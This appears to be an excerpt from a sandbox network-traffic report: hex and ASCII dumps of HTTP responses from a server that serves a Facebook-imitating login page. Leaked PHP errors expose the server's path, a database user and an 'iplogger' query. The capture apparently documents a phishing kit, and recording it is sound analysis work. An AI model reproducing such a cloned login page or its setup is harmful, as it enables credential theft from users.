2022-10-08 09:35:55 UTC	732	IN	Data Raw: 31 28 2e 2a 29 28 27 7c 26 23 30 33 39 3b 29 73 5c 75 30 30 30 31 28 3f 3a 27 7c 26 23 30 33 39 3b 29 73 28 2e 2a 29 5c 2f 22 3a 22 5c 75 30 30 30 31 24 31 24 32 73 5c 75 30 30 30 31 24 33 22 2c 22 5c 2f 5f 5c 75 30 30 30 31 28 5b 5e 5c 75 30 30 30 31 5d 2a 29 5c 75 30 30 30 31 5c 2f 22 3a 22 6a 61 76 61 73 63 72 69 70 74 22 7d 7d 2c 31 34 39 36 5d 2c 5b 22 49 6e 74 6c 56 69 65 77 65 72 43 6f 6e 74 65 78 74 22 2c 5b 5d 2c 7b 22 47 45 4e 44 45 52 22 3a 33 2c 22 72 65 67 69 6f 6e 61 6c 4c 6f 63 61 6c 65 22 3a 6e 75 6c 6c 7d 2c 37 37 32 5d 2c 5b 22 4e 75 6d 62 65 72 46 6f 72 6d 61 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 63 69 6d 61 6c 53 65 70 61 72 61 74 6f 72 22 3a 22 2e 22 2c 22 6e 75 6d 62 65 72 44 65 6c 69 6d 69 74 65 72 22 3a 22 2c 22 2c 22 6d Data Ascii: 1(.)('\|')s\u0001(?:'\|')s(.)\/":"\u0001$1$2s\u0001$3","\/_\u0001([^\u0001]*)\u0001\/":"javascript"}},1496],["IntlViewerContext",[],{"GENDER":3,"regionalLocale":null},772],["NumberFormatConfig",[],{"decimalSeparator":".","numberDelimiter":",","m
2022-10-08 09:35:55 UTC	733	IN	Data Raw: 64 33 64 31 0d 0a 69 62 6c 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 62 61 6c 61 6e 63 65 5f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 62 61 6c 61 6e 63 65 5f 72 65 64 69 72 65 63 74 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 62 61 6c 61 6e 63 65 5f 72 65 64 69 72 65 63 74 5c 2f 6c 5c 2f 22 3a 31 2c 22 5c 2f 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 6c 73 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 6a 61 78 5c 2f 64 74 73 67 5c 2f 22 3a 31 2c 22 5c 2f 63 68 65 63 6b 70 6f 69 6e 74 5c 2f 62 6c 6f 63 6b 5c 2f 22 3a 31 2c 22 5c 2f 65 78 69 74 64 73 69 74 65 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 70 69 78 65 6c 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 Data Ascii: d3d1ible\/":1,"\/zero_balance_redirect\/":1,"\/zero_balance_redirect":1,"\/zero_balance_redirect\/l\/":1,"\/l.php":1,"\/lsr.php":1,"\/ajax\/dtsg\/":1,"\/checkpoint\/block\/":1,"\/exitdsite":1,"\/zero\/balance\/pixel\/":1,"\/zero\/balance\/":1,"\/zero\/b
2022-10-08 09:35:55 UTC	735	IN	Data Raw: 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 61 6e 5c 2f 6c 65 61 72 6e 6d 6f 72 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 70 75 72 63 68 61 73 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 70 72 6f 6d 6f 73 5c 2f 75 70 67 72 61 64 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 62 75 79 5f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 61 6e 5c 2f 62 75 79 63 6f 6e 66 69 72 6d 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 61 6e 5c 2f 62 75 79 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 73 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 61 5c 2f 63 68 61 6e 6e 65 6c 5c 2f 72 65 63 6f 6e 6e 65 63 74 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 61 5c 2f 6e 75 78 5c Data Ascii: \/":1,"\/upsell\/loan\/learnmore\/":1,"\/upsell\/purchase\/":1,"\/upsell\/promos\/upgrade\/":1,"\/upsell\/buy_redirect\/":1,"\/upsell\/loan\/buyconfirm\/":1,"\/upsell\/loan\/buy\/":1,"\/upsell\/sms\/":1,"\/wap\/a\/channel\/reconnect.php":1,"\/wap\/a\/nux\
2022-10-08 09:35:55 UTC	736	IN	Data Raw: 77 49 70 41 5a 48 35 4e 4c 6e 4a 54 7a 6a 6c 54 66 43 6a 73 6d 53 56 68 6f 6b 68 61 4c 69 67 6d 57 53 57 58 69 6b 42 54 4c 43 34 7a 52 74 49 38 41 47 6d 2d 39 4d 7a 54 30 53 4c 61 5f 49 57 53 70 77 72 7a 56 49 66 36 77 63 73 6a 76 4f 63 7c 66 64 2e 41 63 5a 53 68 52 37 54 33 50 30 63 33 64 71 55 58 49 55 6a 6b 6d 5f 78 54 4d 57 69 51 64 31 45 6f 4f 32 63 70 75 78 33 31 53 34 59 6b 54 74 47 58 6c 38 74 77 42 6e 73 6a 4e 69 34 39 49 63 78 6b 34 38 43 6d 42 53 71 64 41 63 4f 67 5a 68 61 62 62 51 4f 68 64 56 59 22 2c 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 65 6e 61 62 6c 65 5f 62 6c 61 64 65 72 75 6e 6e 65 72 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 5f 61 63 6b 22 3a 74 72 75 65 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a Data Ascii: wIpAZH5NLnJTzjlTfCjsmSVhokhaLigmWSWXikBTLC4zRtI8AGm-9MzT0SLa_IWSpwrzVIf6wcsjvOc\|fd.AcZShR7T3P0c3dqUXIUjkm_xTMWiQd1EoO2cpux31S4YkTtGXl8twBnsjNi49Icxk48CmBSqdAcOgZhabbQOhdVY","app_id":"256281040558","enable_bladerunner":false,"enable_ack":true,"push_phase":
2022-10-08 09:35:55 UTC	738	IN	Data Raw: 6f 75 74 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 2c 22 41 61 31 58 70 66 4f 54 6f 4b 6a 4d 46 61 73 4f 58 68 6c 75 6b 6f 78 72 61 51 34 78 72 66 4f 4b 56 48 6a 75 73 5a 54 45 39 66 52 58 63 55 57 51 45 57 59 39 38 76 79 33 54 53 36 53 51 62 6d 77 64 73 55 6e 39 5f 46 4f 35 36 75 69 6a 45 5f 2d 42 44 39 31 56 66 47 39 64 67 6b 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 30 33 32 36 37 22 2c 5b 22 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 42 6c 75 65 22 2c 22 41 61 31 58 70 66 4f 54 6f 4b 6a 4d 46 61 73 4f 58 68 6c 75 6b 6f 78 72 61 51 34 78 72 66 4f 4b 56 48 6a 75 73 5a 54 45 39 66 52 58 63 55 57 51 45 57 59 39 38 76 79 33 54 53 36 53 51 62 6d Data Ascii: outAcrossTransitionsBlue","Aa1XpfOToKjMFasOXhlukoxraQ4xrfOKVHjusZTE9fRXcUWQEWY98vy3TS6SQbmwdsUn9_FO56uijE_-BD91VfG9dgk"]},-1],["cr:1003267",["clearIntervalBlue"],{"__rc":["clearIntervalBlue","Aa1XpfOToKjMFasOXhlukoxraQ4xrfOKVHjusZTE9fRXcUWQEWY98vy3TS6SQbm
2022-10-08 09:35:55 UTC	739	IN	Data Raw: 22 3a 7b 7d 2c 22 65 76 65 6e 74 5f 74 79 70 65 73 22 3a 7b 7d 2c 22 6d 61 6e 75 61 6c 5f 69 6e 73 74 72 75 6d 65 6e 74 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 70 72 6f 66 69 6c 65 5f 65 61 67 65 72 5f 65 78 65 63 75 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 64 69 73 61 62 6c 65 5f 68 65 75 72 69 73 74 69 63 22 3a 74 72 75 65 2c 22 64 69 73 61 62 6c 65 5f 65 76 65 6e 74 5f 70 72 6f 66 69 6c 65 72 22 3a 66 61 6c 73 65 7d 2c 31 37 32 36 5d 2c 5b 22 41 64 73 49 6e 74 65 72 66 61 63 65 73 53 65 73 73 69 6f 6e 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 7d 2c 32 33 39 33 5d 2c 5b 22 49 6e 74 6c 43 75 72 72 65 6e 74 4c 6f 63 61 6c 65 22 2c 5b 5d 2c 7b 22 63 6f 64 65 22 3a 22 65 6e 5f 55 53 22 7d 2c 35 39 35 34 5d 2c 5b 22 55 53 49 44 4d 65 74 61 64 61 74 61 22 2c 5b 5d Data Ascii: ":{},"event_types":{},"manual_instrumentation":false,"profile_eager_execution":false,"disable_heuristic":true,"disable_event_profiler":false},1726],["AdsInterfacesSessionConfig",[],{},2393],["IntlCurrentLocale",[],{"code":"en_US"},5954],["USIDMetadata",[]
2022-10-08 09:35:55 UTC	741	IN	Data Raw: 74 6f 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 33 6a 68 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 67 65 64 6f 75 74 5f 6d 65 6e 75 62 61 72 5f 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 20 6c 6f 67 67 65 64 6f 75 74 5f 6d 65 6e 75 62 61 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 66 6c 6f 61 74 20 5f 6f 68 65 22 3e 3c 68 31 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 47 6f 20 74 6f 20 46 61 63 65 62 6f 6f 6b 20 68 6f 6d 65 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 62 5f 6c 6f 67 6f 20 69 6d 67 20 73 70 5f 6f 74 31 74 35 59 6a 59 4c 33 73 20 73 78 5f 39 31 36 37 64 36 22 3e 3c 75 3e 46 61 63 65 62 6f Data Ascii: tor"><div class="_53jh"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><div class="lfloat _ohe"><h1><a href="https://www.facebook.com/" title="Go to Facebook home"><i class="fb_logo img sp_ot1t5YjYL3s sx_9167d6"><u>Facebo
2022-10-08 09:35:55 UTC	742	IN	Data Raw: 38 20 6c 6f 67 69 6e 5f 66 6f 72 6d 5f 6c 6f 67 69 6e 5f 62 75 74 74 6f 6e 20 5f 34 6a 79 35 20 5f 34 6a 79 31 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 22 20 69 64 3d 22 6c 6f 67 69 6e 62 75 74 74 6f 6e 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 22 72 6f 79 61 6c 5f 6c 6f 67 69 6e 5f 62 75 74 74 6f 6e 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 4c 6f 67 20 49 6e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 64 69 76 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 74 69 6d 65 7a 6f 6e 65 22 20 76 61 6c 75 65 3d 22 22 20 69 64 3d 22 75 5f 30 5f 33 5f 70 67 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 Data Ascii: 8 login_form_login_button _4jy5 _4jy1 selected _51sy" id="loginbutton" data-testid="royal_login_button" type="submit">Log In</button></div><input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_3_pg" /><input type="hidden" autocomplete="
2022-10-08 09:35:55 UTC	744	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 72 2e 70 68 70 3f 6c 6f 63 61 6c 65 3d 65 6e 5f 55 53 22 3e 53 69 67 6e 20 55 70 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 43 6f 6e 74 61 69 6e 65 72 22 20 63 6c 61 73 73 3d 22 5f 63 71 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 62 5f 63 6f 6e 74 65 6e 74 20 63 6c 65 61 72 66 69 78 20 22 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 76 6c 20 5f 34 2d 64 6f 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 5f 34 2d 64 70 22 3e 54 68 69 73 20 70 61 67 65 20 69 73 6e 26 23 30 33 39 3b 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 68 Data Ascii: " href="/r.php?locale=en_US">Sign Up</a></span></div></div></div></div></div></div><div id="globalContainer" class="_cqt"><div class="fb_content clearfix " id="content" role="main"><div class="pvl _4-do"><h2 class="_4-dp">This page isn't available</h
2022-10-08 09:35:55 UTC	745	IN	Data Raw: 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 Data Ascii: 3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line
2022-10-08 09:35:55 UTC	746	IN	Data Raw: 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 Data Ascii: u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u00252
2022-10-08 09:35:55 UTC	748	IN	Data Raw: 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c Data Ascii: 045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channel
2022-10-08 09:35:55 UTC	749	IN	Data Raw: 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 Data Ascii: )%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20
2022-10-08 09:35:55 UTC	751	IN	Data Raw: 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 Data Ascii: ew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u0025
2022-10-08 09:35:55 UTC	752	IN	Data Raw: 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 31 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 46 72 65 6e 63 68 20 28 46 72 61 6e 63 65 29 22 3e 46 72 61 6e c3 a7 61 69 73 20 28 46 72 61 6e 63 65 29 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 Data Ascii: /font\u00253E", "www_list_selector", 1); return false;" title="French (France)">Franais (France)</a></li><li><a class="_sv4" dir="ltr" href="https://it-it.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The
2022-10-08 09:35:55 UTC	754	IN	Data Raw: 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 69 74 5f 49 54 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 Data Ascii: ick="require("IntlUtils").setCookieLocale("it_IT", "en_US", "https:\/\/it-it.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u
2022-10-08 09:35:55 UTC	755	IN	Data Raw: 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e Data Ascii: 0253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520den
2022-10-08 09:35:55 UTC	757	IN	Data Raw: 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 Data Ascii: 39;%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20
2022-10-08 09:35:55 UTC	758	IN	Data Raw: 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 Data Ascii: 50A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost&#03
2022-10-08 09:35:55 UTC	760	IN	Data Raw: 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 